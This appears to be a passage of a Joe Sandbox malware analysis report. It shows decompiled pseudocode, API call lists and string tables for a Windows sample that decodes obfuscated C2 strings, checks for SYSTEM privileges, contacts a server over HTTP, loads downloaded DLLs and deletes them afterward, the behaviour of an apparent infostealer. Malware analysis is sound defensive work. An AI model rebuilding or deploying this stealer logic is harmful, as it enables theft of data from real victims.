							_t94 = HttpSendRequestW(_t124, _a8,  *((intOrPtr*)( *0xa4e090))( *((intOrPtr*)( *0xa4e18c))(_v12)), _a8, _v12); // executed
							if(_t94 == 0) {
								L17:
								InternetCloseHandle(_t124); // executed
								_t128 = _v24;
								goto L18;
							}
							while(1) {
								_push( &_v16);
								_push(0xc350);
								_push(_t102);
								_push(_t124);
								if( *((intOrPtr*)( *0xa4e0fc))() == 0) {
									goto L17;
								}
								_t98 = _v16;
								if(_t98 == 0) {
									goto L17;
								}
								 *((char*)(_t102 + _t98)) = 0;
							}
							goto L17;
						}
						_push(0);
						_push(0);
						_push(_t127);
						_push(_t107);
						_push(0xffffffff);
						_push(_a4);
						_push(0);
						_push(0xfde9);
						if( *((intOrPtr*)( *0xa4e0e8))() == 0) {
							goto L24;
						}
						goto L9;
					}
					_t101 = 0;
					do {
						_t115 = _t115 + 1;
						 *(_t101 + _t120) = _t104;
						_t101 = _t115 + _t115;
						_t104 =  *(_t101 + _t126) & 0x0000ffff;
					} while (_t104 != _v12);
					goto L7;
				}
			}

0x00a479fe
0x00a47a0c
0x00a47a0e
0x00a47a15
0x00a47a1e
0x00a47a24
0x00a47a26
0x00a47a29
0x00a47c64
0x00000000
0x00a47c64
0x00a47a31
0x00a47a36
0x00000000
0x00a47a51
0x00a47a5a
0x00a47a63
0x00a47a65
0x00a47a6c
0x00a47a6e
0x00a47a6e
0x00a47a71
0x00a47a74
0x00a47a7a
0x00a47a90
0x00a47a96
0x00a47aa7
0x00a47abc
0x00a47abe
0x00a47ac6
0x00a47ac8
0x00a47acd
0x00a47aef
0x00a47aff
0x00a47b01
0x00a47b03
0x00a47b08
0x00a47be2
0x00a47c00
0x00a47c02
0x00a47c07
0x00a47c44
0x00a47c09
0x00a47c0e
0x00a47c14
0x00a47c27
0x00a47c36
0x00a47c38
0x00a47c3d
0x00a47c3d
0x00a47c4a
0x00a47c53
0x00a47c5a
0x00000000
0x00a47c60
0x00a47b0e
0x00a47b18
0x00a47b2c
0x00a47b2f
0x00a47b35
0x00a47b37
0x00a47b39
0x00a47b3e
0x00a47bdb
0x00a47bdc
0x00000000
0x00a47bdc
0x00a47b44
0x00a47b5d
0x00a47b72
0x00a47b74
0x00a47b78
0x00a47bd2
0x00a47bd5
0x00000000
0x00a47bd5
0x00a47b9e
0x00a47ba2
0x00a47bc8
0x00a47bc9
0x00a47bcf
0x00000000
0x00a47bcf
0x00a47bb6
0x00a47bbe
0x00a47bbf
0x00a47bc0
0x00a47bc1
0x00a47bc6
0x00000000
0x00000000
0x00a47bab
0x00a47bb0
0x00000000
0x00000000
0x00a47bb2
0x00a47bb2
0x00000000
0x00a47bb6
0x00a47ad6
0x00a47ad7
0x00a47ad8
0x00a47ad9
0x00a47ada
0x00a47adc
0x00a47adf
0x00a47ae0
0x00a47ae9
0x00000000
0x00000000
0x00000000
0x00a47ae9
0x00a47a7c
0x00a47a7e
0x00a47a7e
0x00a47a7f
0x00a47a83
0x00a47a86
0x00a47a8a
0x00000000
0x00a47a7e

APIs

LocalAlloc.KERNELBASE(00000040,0000C350,00000000,00000000,00000000,00A476FD,00000000,?,?), ref: 00A47A0E
LocalAlloc.KERNELBASE(00000040,00000208), ref: 00A47A1E
InternetOpenW.WININET(record,00000000,00000000,00000000,00000000), ref: 00A47AFF
InternetConnectW.WININET(00000000,00000000,?,00000000,00000000,00000003,00000000,00000001), ref: 00A47B35
HttpOpenRequestW.WININET(00000000,00000001,00000000,00000000,00000001,00400000,00000001), ref: 00A47B72
HttpSendRequestW.WININET(00000000,?,00000000), ref: 00A47B9E
InternetCloseHandle.WININET(00000000), ref: 00A47BC9
InternetCloseHandle.WININET(?), ref: 00A47BD5
InternetCloseHandle.WININET(00000000), ref: 00A47BDC
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00A47BFE
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00A47C36
LocalFree.KERNEL32(0000002F), ref: 00A47C4A
LocalFree.KERNEL32(?), ref: 00A47C53
LocalFree.KERNELBASE(00000000), ref: 00A47C5A

Strings

/, xrefs: 00A47A65
://, xrefs: 00A47A55
record, xrefs: 00A47AFA

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: InternetLocal$CloseFreeHandle$AllocByteCharHttpMultiOpenRequestWide$ConnectSend
String ID: /$://$record
API String ID: 478394873-889090679
Opcode ID: ef3748c4227489f5bf2c180f7c8193625def4cb65852e018b9f4d3f2421ab831
Instruction ID: cd55aca4a52c88c7643a35321a99d01681040e004f2768d5e2d613595b7556e0
Opcode Fuzzy Hash: ef3748c4227489f5bf2c180f7c8193625def4cb65852e018b9f4d3f2421ab831
Instruction Fuzzy Hash: C171BE79A40205AFEB14DBE8DC41F7E77B8FBC5700F148429F915A7290E7B1AE028B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A41806 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E00A41806(char* __ecx, signed int* __edx) {
				int _v8;
				signed int* _v12;
				long _t9;
				DWORD* _t10;
				DWORD* _t14;
				void* _t16;
				DWORD* _t17;
				void* _t25;
				char* _t26;
				void* _t28;

				_t26 = __ecx;
				_v12 = __edx;
				_t9 =  *((intOrPtr*)( *0xa4e18c))(__ecx, _t25, _t28, _t16, __ecx, __ecx) + 0x40;
				_v8 = _t9;
				_t10 = LocalAlloc(0x40, _t9); // executed
				_t17 = _t10;
				_push(0);
				if(CryptStringToBinaryA(_t26,  *((intOrPtr*)( *0xa4e18c))(), _t26, 1, _t17,  &_v8, 0) == 0 || _t17 == 0) {
					 *_v12 =  *_v12 & 0x00000000;
					_t14 = 0;
				} else {
					 *_v12 = _v8;
					_t14 = _t17;
				}
				return _t14;
			}

0x00a41813
0x00a41815
0x00a41821
0x00a41827
0x00a4182a
0x00a41832
0x00a4183d
0x00a4184e
0x00a41863
0x00a41866
0x00a41854
0x00a4185a
0x00a4185c
0x00a4185c
0x00a4186c

APIs

LocalAlloc.KERNELBASE(00000040,-00000040,?,?,?,fVQMox8c,fVQMox8c,?,00A4404D,?,?,?,?,00A4749C), ref: 00A4182A
CryptStringToBinaryA.CRYPT32(fVQMox8c,00000000,?,?,?,fVQMox8c,fVQMox8c), ref: 00A4184A

Strings

fVQMox8c, xrefs: 00A41809, 00A4180A, 00A41818, 00A41845, 00A41849

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: AllocBinaryCryptLocalString
String ID: fVQMox8c
API String ID: 2609833747-2928787414
Opcode ID: 84aaa73a8ca0ca5dc7452644de1682d7e01c006ce43d732cb493d72d6aa4e915
Instruction ID: e9006e4d68b58dd5b003dec617d845cd18bbb3cc344558e245697a3738fcd937
Opcode Fuzzy Hash: 84aaa73a8ca0ca5dc7452644de1682d7e01c006ce43d732cb493d72d6aa4e915
Instruction Fuzzy Hash: EE011D7A640208BFEB04CB99DC81F7A77FCEBC6754F1040A9B605E7280DAB1AD458764

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A798 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00A4A798(void* __ecx) {
				long _v8;
				void* _t9;
				WCHAR* _t10;

				_v8 = 0x101;
				_t10 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x202, _t9, __ecx);
				GetUserNameW(_t10,  &_v8); // executed
				return _t10;
			}

0x00a4a7a9
0x00a4a7b2
0x00a4a7b9
0x00a4a7c3

APIs

GetUserNameW.ADVAPI32(00000000,00000101), ref: 00A4A7B9

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 889ae26f5bb53139b71008c90710e6df6338ce9d82a0180fca4d18df0db9fd41
Instruction ID: efc9bf53bf5be3c4f4db0801d767c258e1af232d00a44bc82fe1fb675e37bbd8
Opcode Fuzzy Hash: 889ae26f5bb53139b71008c90710e6df6338ce9d82a0180fca4d18df0db9fd41
Instruction Fuzzy Hash: F7D05E7A201214BBD700D7C9AC09ECA76ECEB85754F000051F609E3281D6B59E0487E4

Uniqueness

Uniqueness Score: -1.00%

Function 00A47486 Relevance: 72.2, APIs: 33, Strings: 8, Instructions: 440
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			_entry_() {
				signed int _v8;
				void* _v12;
				WCHAR* _v16;
				void* _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				char _v28;
				struct HINSTANCE__* _v32;
				struct _SECURITY_ATTRIBUTES* _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				short _v232;
				intOrPtr _t83;
				intOrPtr _t87;
				intOrPtr _t91;
				intOrPtr _t99;
				void* _t101;
				void* _t104;
				char _t105;
				char _t106;
				void* _t107;
				WCHAR* _t108;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t113;
				void* _t115;
				signed int _t123;
				void* _t127;
				void* _t128;
				void* _t141;
				void* _t145;
				void* _t151;
				void* _t152;
				void* _t153;
				WCHAR* _t154;
				void* _t155;
				void* _t156;
				void* _t157;
				struct _SECURITY_ATTRIBUTES* _t168;
				struct HINSTANCE__* _t183;
				struct HINSTANCE__* _t186;
				void* _t193;
				WCHAR* _t206;
				void* _t209;
				void* _t210;
				void* _t211;
				intOrPtr _t280;
				intOrPtr _t282;
				intOrPtr _t287;
				intOrPtr _t288;
				intOrPtr _t289;
				intOrPtr _t290;
				intOrPtr _t291;
				void* _t301;
				void* _t302;
				WCHAR* _t306;
				void* _t308;
				void* _t309;
				signed int _t310;
				void* _t313;
				struct HINSTANCE__* _t314;
				void* _t317;
				void* _t318;
				WCHAR** _t321;
				void* _t322;
				void* _t323;

				E00A41000(); // executed
				E00A44036(_t211); // executed
				 *0xa4e068(0); // executed
				_v8 = _v8 & 0x00000000;
				_v20 = E00A4A59A("59c9737264c0b3209d9193b8ded6c127");
				_t83 = E00A48746(0xa4ec98, E00A41806(E00A4A6D2("XVHmGYV5cH1pvOC0w/cmantl/oG9aw==                                "),  &_v8),  &_v8, "59c9737264c0b3209d9193b8ded6c127");
				_t87 = E00A48746(0xa4ec98, E00A41806(E00A4A6D2("                                                                "),  &_v8),  &_v8, "59c9737264c0b3209d9193b8ded6c127");
				_t91 = E00A48746(0xa4ec98, E00A41806(E00A4A6D2("                                                                "),  &_v8),  &_v8, "59c9737264c0b3209d9193b8ded6c127");
				_v56 = _t87;
				_v52 = _t91;
				_v60 = _t83;
				_v48 = E00A48746(0xa4ec98, E00A41806(E00A4A6D2("                                                                "),  &_v8),  &_v8, "59c9737264c0b3209d9193b8ded6c127");
				_t99 = E00A48746(0xa4ec98, E00A41806(E00A4A6D2("                                                                "),  &_v8),  &_v8, "59c9737264c0b3209d9193b8ded6c127");
				_v44 = _t99;
				_t101 =  *((intOrPtr*)( *0xa4e050))( &_v232, 0x55); // executed
				if(_t101 == 0) {
					L4:
					_t306 = L"8724643052";
					_push(_t306);
					_push(0);
					_push(0x1f0001);
					if( *((intOrPtr*)( *0xa4e164))() != 0) {
						ExitProcess(2); // executed
					}
					CreateMutexW(0, 0, _t306); // executed
					_t104 = E00A4A198(); // executed
					if(_t104 != 0) {
						E00A4A2D7();
					}
					_t105 =  *0xa4eb08; // 0x7a45f0
					_v28 = _t105;
					_t106 =  *0xa4e1f8; // 0x7960b8
					_v24 = 0;
					_v40 = _t106;
					_v36 = 0;
					_t107 = E00A4839B( &_v28); // executed
					_v12 = _t107;
					_t108 =  *((intOrPtr*)( *0xa4e048))(0x40, 0xff78);
					_v16 = _t108;
					_t109 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x618);
					_t110 = E00A4A720(); // executed
					_t301 = _t110; // executed
					_t111 = E00A4A798( *0xa4e048); // executed
					_t209 = _t111;
					_t113 = E00A4A5DB( *((intOrPtr*)( *0xa4e13c))(_t109,  *0xa4eb3c), _t301);
					_t280 =  *0xa4e200; // 0x795ff8
					_t115 = E00A4A5DB(E00A4A5DB(_t113, _t280), _t209);
					_t282 =  *0xa4eb00; // 0x7a08d8
					_t308 = E00A4A5DB(E00A4A5DB(_t115, _t282), _v20);
					_v8 =  *((intOrPtr*)( *0xa4e13c))(_v16, _t308);
					LocalFree(_t301);
					LocalFree(_t209);
					LocalFree(_t308);
					_t210 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x800);
					_t123 = 0;
					_v16 = 0;
					while(1) {
						_t309 = E00A4A59A( *((intOrPtr*)(_t322 + _t123 * 4 - 0x38)));
						_push(_t309);
						if( *((short*)(_t309 +  *((intOrPtr*)( *0xa4e090))() * 2 - 2)) != 0x2f) {
							_t309 = E00A4A5DB(_t309, "/");
						}
						_t127 = E00A479F3(_t309, _v8, _v12,  &_v40); // executed
						_t323 = _t323 + 0xc;
						_t302 = _t127;
						_t128 =  *((intOrPtr*)( *0xa4e090))(_t302);
						_push(_t309);
						if(_t128 >= 0x40) {
							break;
						}
						LocalFree();
						if(_t302 == 0) {
							LocalFree(_t302);
						}
						_t123 =  &(_v16[0]);
						_v16 = _t123;
						if(_t123 < 5) {
							continue;
						} else {
							L18:
							LocalFree(_v12);
							LocalFree(_v8); // executed
							_v8 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
							E00A4A323( &_v8);
							if(_t302 == 0) {
								L38:
								LocalFree(_v8);
								LocalFree(_t210);
								ExitProcess(0);
							}
							E00A483CE(_t302, _v8);
							_t310 = 0;
							_t141 =  *((intOrPtr*)( *0xa4e180))(_t302,  *0xa4ec00);
							if(_t141 == 0) {
								L21:
								ExitProcess(0xffffffff);
							}
							_t310 = _t141 - _t302 >> 1;
							_v12 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x100);
							_t145 =  *((intOrPtr*)( *0xa4e090))(_t302);
							_t49 = _t310 + 6; // 0x6
							if(E00A4A4BC(_t302,  &_v12, _t49, _t145) != 0) {
								_t210 = E00A4A5DB(_t210, _v12);
								LocalFree(_v12);
								_t151 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t152 =  *((intOrPtr*)( *0xa4e13c))(_t151, _v8);
								_t287 =  *0xa4ea50; // 0x796258
								_t153 = E00A4A5DB(_t152, _t287);
								_t288 =  *0xa4eb60; // 0x7a4890
								_t154 = E00A4A5DB(_t153, _t288);
								_v16 = _t154;
								_t155 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t156 =  *((intOrPtr*)( *0xa4e13c))(_t155, _v8);
								_t289 =  *0xa4ea50; // 0x796258
								_t157 = E00A4A5DB(_t156, _t289);
								_t290 =  *0xa4ec38; // 0x7a0b18
								_v20 = E00A4A5DB(_t157, _t290);
								SetCurrentDirectoryW(_v8);
								GetEnvironmentVariableW( *0xa4ead8,  *((intOrPtr*)( *0xa4e048))(0x40, 0x5000), 0x2800);
								_t291 =  *0xa4e1dc; // 0x795fb8
								_t259 = E00A4A5DB(_t160, _t291);
								_t313 = E00A4A5DB(_t162, _v8);
								SetEnvironmentVariableW( *0xa4ead8, _t313);
								LocalFree(_t313);
								E00A497BB(_t302, _t210);
								_t168 =  *((intOrPtr*)( *0xa4e038))(_v20);
								_v24 = _t168;
								if(_t168 != 0) {
									E00A43FAB(_t259, _t168, _t302, _t210);
								}
								_t314 =  *((intOrPtr*)( *0xa4e038))(_v16);
								_v32 = _t314;
								if(_t314 != 0) {
									_t193 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
									_v12 = _t193;
									 *0xa4e0c8(0, _t193, 0x1a, 0);
									if(E00A462ED(_t314) == 0) {
										_t318 = _v12;
									} else {
										_t318 = _v12;
										E00A46053(_t318, _t210, _t314, 0);
									}
									LocalFree(_t318);
								}
								E00A4A900(_t210);
								E00A4ACFE(_t302, _t210);
								E00A452CB(_t210);
								E00A49A8E(_t302, _t210);
								_v12 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t302) + _t176);
								if(E00A488FB(_t302,  &_v12) > 0) {
									E00A48996(_v12, _t210);
								}
								LocalFree(_v12);
								E00A470DE();
								_t183 = _v32;
								if(_t183 != 0) {
									FreeLibrary(_t183);
								}
								DeleteFileW(_v16);
								LocalFree(_v16);
								_t186 = _v24;
								if(_t186 != 0) {
									FreeLibrary(_t186);
								}
								_t317 = _v20;
								DeleteFileW(_t317);
								LocalFree(_t317);
								LocalFree(_t302);
								goto L38;
							} else {
								ExitProcess(0xfffffffe);
							}
							goto L21;
						}
					}
					_t210 =  *((intOrPtr*)( *0xa4e13c))(_t210);
					LocalFree(_t309);
					goto L18;
				}
				_t321 = 0xa4e000;
				while(1) {
					_t206 = StrStrIW( &_v232,  *_t321); // executed
					if(_t206 != 0) {
						goto L4;
					}
					_t321 =  &(_t321[1]);
					if(_t321 != 0xa4e004) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x00a47492
0x00a47497
0x00a4749e
0x00a474a4
0x00a474b4
0x00a474d8
0x00a474fb
0x00a47522
0x00a47527
0x00a4752f
0x00a4753a
0x00a47556
0x00a47575
0x00a47582
0x00a4758b
0x00a4758f
0x00a475b5
0x00a475ba
0x00a475bf
0x00a475c2
0x00a475c3
0x00a475cc
0x00a475db
0x00a475db
0x00a475d1
0x00a475e1
0x00a475e8
0x00a475ea
0x00a475ea
0x00a475ef
0x00a475f7
0x00a475fa
0x00a475ff
0x00a47602
0x00a47605
0x00a47608
0x00a4761a
0x00a4761d
0x00a4762c
0x00a4762f
0x00a47633
0x00a47638
0x00a4763a
0x00a4764b
0x00a47654
0x00a47659
0x00a4766a
0x00a4766f
0x00a4768c
0x00a47695
0x00a47698
0x00a4769f
0x00a476a6
0x00a476bb
0x00a476bd
0x00a476bf
0x00a476c2
0x00a476d1
0x00a476d3
0x00a476dc
0x00a476ea
0x00a476ea
0x00a476f8
0x00a47703
0x00a47706
0x00a47709
0x00a4770b
0x00a4770f
0x00000000
0x00000000
0x00a47711
0x00a47719
0x00a4771c
0x00a4771c
0x00a47725
0x00a47726
0x00a4772c
0x00000000
0x00a4772e
0x00a47741
0x00a47744
0x00a4774d
0x00a47764
0x00a47767
0x00a4776e
0x00a479d6
0x00a479d9
0x00a479e0
0x00a479e8
0x00a479e8
0x00a47779
0x00a47789
0x00a4778c
0x00a47790
0x00a4779a
0x00a4779c
0x00a4779c
0x00a47796
0x00a477b0
0x00a477b9
0x00a477bc
0x00a477ce
0x00a477e5
0x00a477e7
0x00a477fa
0x00a47806
0x00a47808
0x00a47810
0x00a47815
0x00a4781d
0x00a4782b
0x00a4782e
0x00a4783a
0x00a4783c
0x00a47844
0x00a47849
0x00a47859
0x00a4785c
0x00a4787f
0x00a47885
0x00a47895
0x00a4789c
0x00a478a5
0x00a478ac
0x00a478b4
0x00a478c1
0x00a478c3
0x00a478c8
0x00a478ce
0x00a478d4
0x00a478df
0x00a478e1
0x00a478e6
0x00a478f5
0x00a478fe
0x00a47901
0x00a47910
0x00a47925
0x00a47912
0x00a47915
0x00a4791c
0x00a47922
0x00a47929
0x00a47929
0x00a47933
0x00a4793c
0x00a47945
0x00a4794e
0x00a47968
0x00a47977
0x00a4797d
0x00a4797d
0x00a47985
0x00a4798d
0x00a47992
0x00a4799d
0x00a479a0
0x00a479a0
0x00a479a5
0x00a479ae
0x00a479b4
0x00a479b9
0x00a479bc
0x00a479bc
0x00a479be
0x00a479c2
0x00a479c9
0x00a479d0
0x00000000
0x00a477d0
0x00a477d2
0x00a477d2
0x00000000
0x00a477ce
0x00a4772c
0x00a47739
0x00a4773b
0x00000000
0x00a4773b
0x00a47591
0x00a47596
0x00a475a4
0x00a475a8
0x00000000
0x00000000
0x00a475aa
0x00a475b3
0x00000000
0x00000000
0x00000000
0x00a475b3
0x00000000

APIs

Part of subcall function 00A41000: LoadLibraryW.KERNEL32(kernel32.dll,?,?,00A47497), ref: 00A4100B
Part of subcall function 00A41000: GetProcAddress.KERNEL32(00000000,LoadLibraryW), ref: 00A4102B
Part of subcall function 00A41000: LoadLibraryW.KERNELBASE(Shlwapi.dll,?,?,?,?,?,00A47497), ref: 00A41037
Part of subcall function 00A41000: LoadLibraryW.KERNELBASE(Ole32.dll,?,?,?,?,?,00A47497), ref: 00A41046
Part of subcall function 00A41000: LoadLibraryW.KERNELBASE(WinInet.dll,?,?,?,?,?,00A47497), ref: 00A41056
Part of subcall function 00A41000: LoadLibraryW.KERNELBASE(Crypt32.dll,?,?,?,?,?,00A47497), ref: 00A41086
Part of subcall function 00A41000: LoadLibraryW.KERNELBASE(Shell32.dll,?,?,?,?,?,00A47497), ref: 00A41096
Part of subcall function 00A41000: LoadLibraryW.KERNELBASE(Bcrypt.dll,?,?,?,?,?,00A47497), ref: 00A4109F
Part of subcall function 00A41000: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00A410AD

CoInitialize.OLE32(00000000), ref: 00A4749E

Part of subcall function 00A4A59A: LocalAlloc.KERNELBASE(00000040,?,?,00A44D69,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya), ref: 00A4A5B9
Part of subcall function 00A4A59A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00795D58,000000FF,00000000,00000000,?,?,00A44D69,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000), ref: 00A4A5C9

Part of subcall function 00A4A6D2: LocalAlloc.KERNEL32(00000040,00000001,?,59c9737264c0b3209d9193b8ded6c127,?,00A474C6,00000000,59c9737264c0b3209d9193b8ded6c127), ref: 00A4A6E9

Part of subcall function 00A41806: LocalAlloc.KERNELBASE(00000040,-00000040,?,?,?,fVQMox8c,fVQMox8c,?,00A4404D,?,?,?,?,00A4749C), ref: 00A4182A
Part of subcall function 00A41806: CryptStringToBinaryA.CRYPT32(fVQMox8c,00000000,?,?,?,fVQMox8c,fVQMox8c), ref: 00A4184A

StrStrIW.KERNELBASE(?,00A4E000), ref: 00A475A4
CreateMutexW.KERNELBASE(00000000,00000000,8724643052), ref: 00A475D1
ExitProcess.KERNEL32 ref: 00A475DB
LocalFree.KERNEL32(00000000), ref: 00A47698
LocalFree.KERNEL32(00000000), ref: 00A4769F
LocalFree.KERNEL32(00000000), ref: 00A476A6
LocalFree.KERNEL32(00000000), ref: 00A47711
LocalFree.KERNEL32(00000000), ref: 00A4771C
LocalFree.KERNEL32(00000000), ref: 00A4773B
LocalFree.KERNEL32(?), ref: 00A47744
LocalFree.KERNELBASE(00000000), ref: 00A4774D
ExitProcess.KERNEL32 ref: 00A4779C
ExitProcess.KERNEL32 ref: 00A477D2

Strings

59c9737264c0b3209d9193b8ded6c127, xrefs: 00A474A8, 00A474BF, 00A474E7, 00A4750A, 00A47532, 00A4753D, 00A47561
, xrefs: 00A47559
, xrefs: 00A47502
, xrefs: 00A474DF
, xrefs: 00A4752A
Xby, xrefs: 00A47808, 00A4783C
XVHmGYV5cH1pvOC0w/cmantl/oG9aw== , xrefs: 00A474B7
8724643052, xrefs: 00A475BA, 00A475BF, 00A475CE

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$LibraryLoad$AllocExitProcess$AddressProc$BinaryByteCharCreateCryptInitializeMultiMutexStringWide
String ID: $ $ $ $59c9737264c0b3209d9193b8ded6c127$8724643052$XVHmGYV5cH1pvOC0w/cmantl/oG9aw== $Xby
API String ID: 2053252483-3081215402
Opcode ID: 81c422adfcbabb8f06da7c57c8d7455bf76dfa3a5a890963434699ab4a28e0d7
Instruction ID: 024952bbdc69b349508039d7a868ca1cee256306d20f52d5d2794680cecc5320
Opcode Fuzzy Hash: 81c422adfcbabb8f06da7c57c8d7455bf76dfa3a5a890963434699ab4a28e0d7
Instruction Fuzzy Hash: 22E1913DA40204ABDB14EBF4DD89AAE7BB9BFC9300F104468F516E7291DF759D028B61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A198 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00A4A198() {
				long _v8;
				void* _v12;
				signed int _v16;
				int _t20;
				int _t24;
				void* _t35;
				union _TOKEN_INFORMATION_CLASS _t38;

				_v8 = _v8 & 0x00000000;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v12) == 0) {
					L8:
					return 0;
				}
				_t38 = 1;
				_t20 = GetTokenInformation(_v12, 1, 0, _v8,  &_v8); // executed
				if(_t20 != 0 || GetLastError() == 0x7a) {
					_t35 =  *((intOrPtr*)( *0xa4e098))(0x40, _v8);
					_t24 = GetTokenInformation(_v12, _t38, _t35, _v8,  &_v8); // executed
					if(_t24 == 0) {
						goto L8;
					}
					_v16 = _v16 & 0x00000000;
					_push( &_v16);
					_push( *_t35);
					if( *((intOrPtr*)( *0xa4e05c))() == 0) {
						goto L8;
					}
					_push(_v16);
					_push(L"S-1-5-18");
					if( *((intOrPtr*)( *0xa4e114))() != 0) {
						_t38 = 0;
					}
					GlobalFree(_t35);
					return _t38;
				} else {
					goto L8;
				}
			}

0x00a4a19e
0x00a4a1bb
0x00a4a242
0x00000000
0x00a4a242
0x00a4a1d1
0x00a4a1d6
0x00a4a1da
0x00a4a1f9
0x00a4a207
0x00a4a20b
0x00000000
0x00000000
0x00a4a20d
0x00a4a219
0x00a4a21a
0x00a4a220
0x00000000
0x00000000
0x00a4a222
0x00a4a22a
0x00a4a233
0x00a4a235
0x00a4a235
0x00a4a238
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000008,?,00000000,8724643052), ref: 00A4A1B0
OpenProcessToken.ADVAPI32(00000000), ref: 00A4A1B7
GetTokenInformation.KERNELBASE(?,00000001,00000000,00000000,00000000), ref: 00A4A1D6
GetLastError.KERNEL32 ref: 00A4A1DC
GetTokenInformation.KERNELBASE(?,00000001,00000000,00000000,00000000), ref: 00A4A207
GlobalFree.KERNEL32(00000000), ref: 00A4A238

Strings

S-1-5-18, xrefs: 00A4A22A
8724643052, xrefs: 00A4A1A5

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Token$InformationProcess$CurrentErrorFreeGlobalLastOpen
String ID: 8724643052$S-1-5-18
API String ID: 2348587441-1045683145
Opcode ID: 7421d7ef186e6658a9152ebb7606ed83e09662a583405266f55120003969805c
Instruction ID: 4c895a5c52ada4f897c4289d720103e9d6b69dbfafede1aeddb99f832b535115
Opcode Fuzzy Hash: 7421d7ef186e6658a9152ebb7606ed83e09662a583405266f55120003969805c
